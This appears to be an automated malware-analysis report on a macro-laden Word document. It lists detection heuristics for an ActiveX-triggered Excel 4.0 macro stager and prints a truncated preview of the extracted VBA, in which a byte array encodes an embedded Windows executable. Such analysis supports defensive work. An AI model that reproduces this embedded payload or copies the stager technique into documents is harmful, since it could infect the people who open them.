MALICIOUS
130
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
This OOXML document contains VBA macros that are designed to execute Excel 4.0 macros via the ExecuteExcel4Macro function. The presence of the GetObject call and the critical heuristic firing for an ActiveX event launching a decoded Excel4 macro indicates a sophisticated stager mechanism. The VBA code itself appears to be obfuscated, but the overall intent is to execute a secondary payload.
Heuristics 5
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGERThe compiled VBA p-code (identifier table) references an auto-firing ActiveX/control event together with ExecuteExcel4Macro, while the decompressed source does not — the VBA-stomping shape of the ActiveX-event XLM stager. The control event bridges into XLM formula execution to call Win32 / drop payloads, hidden from source-level scanners.
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://dumpco.re/lab/messagebox.dmp In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 44261 bytes |
SHA-256: 2c42c3cf3043ec113250e2c2082bbbeef14c5d2c430a91332869503f59c19515 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 0, 0, MSForms, CommandButton"
Function a0() As Variant
buf = Array(77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 248 _
, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0 _
, 0, 0, 0, 0, 0, 0, 78, 3, 185, 174, 10, 98, 215, 253, 10, 98, 215, 253, 10, 98, 215, 253, 3, 26, 68, 253, 0, 98, 215, 253, 180, 19, 214, 252, 8, 98, 215, 253, 180, 19, 210, 252, 27, 98, 215, 253, 180, 19, 211, 252, 0, 98, 215, 253, 180, 19, 212, 252, 9, 98, 215 _
, 253, 81, 10, 214, 252, 15, 98, 215, 253, 10, 98, 214, 253, 58, 98, 215, 253, 146, 16, 222, 252, 11, 98, 215, 253, 146, 16, 40, 253, 11, 98, 215, 253, 146, 16, 213, 252, 11, 98, 215, 253, 82, 105, 99, 104, 10, 98, 215, 253, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 80, 69, 0, 0, 100, 134, 6, 0, 58, 95, 186, 96, 0, 0, 0, 0, 0, 0, 0, 0, 240, 0, 34, 0, 11, 2, 14, 28, 0, 14, 0, 0, 0, 30, 0, 0, 0, 0, 0, 0, 196, 18, 0, 0, 0, 16, 0, 0, 0, 0, 0, 64, 1, 0, 0, 0, 0 _
, 16, 0, 0, 0, 2, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 112, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 3, 0, 96, 129, 0, 0, 16, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0 _
, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 100, 40, 0, 0, 180, 0, 0, 0, 0, 80, 0, 0, 224, 1, 0, 0, 0, 64, 0, 0, 104, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 96, 0 _
, 0, 44, 0, 0, 0, 96, 34, 0, 0, 112, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 208, 34, 0, 0, 56, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 152, 1, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 46, 116, 101, 120, 116, 0, 0, 0, 44, 13, 0, 0, 0, 16, 0, 0, 0, 14, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32 _
, 0, 0, 96, 46, 114, 100, 97, 116, 97, 0, 0, 244, 14, 0, 0, 0, 32, 0, 0, 0, 16, 0, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 64, 46, 100, 97, 116, 97, 0, 0, 0, 72, 6, 0, 0, 0, 48, 0, 0, 0, 2 _
, 0, 0, 0, 34, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 192, 46, 112, 100, 97, 116, 97, 0, 0, 104, 1, 0, 0, 0, 64, 0, 0, 0, 2, 0, 0, 0, 36, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0 _
, 64, 46, 114, 115, 114, 99, 0, 0, 0, 224, 1, 0, 0, 0, 80, 0, 0, 0, 2, 0, 0, 0, 38, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 64, 46, 114, 101, 108, 111, 99, 0, 0, 44, 0, 0, 0, 0, 96, 0, 0, 0, 2, 0, 0 _
, 0, 40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 66, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 72, 131, 236, 40, 69, 51, 201, 76, 141, 5, 50, 18, 0 _
, 0, 72, 141, 21, 51, 18, 0, 0, 51, 201,
... (truncated)
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 515072 bytes |
SHA-256: d3c5d0ff30c80a46502c30d939807bb86d90f8ae2156f0e0e3d0a44db6e0e324 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.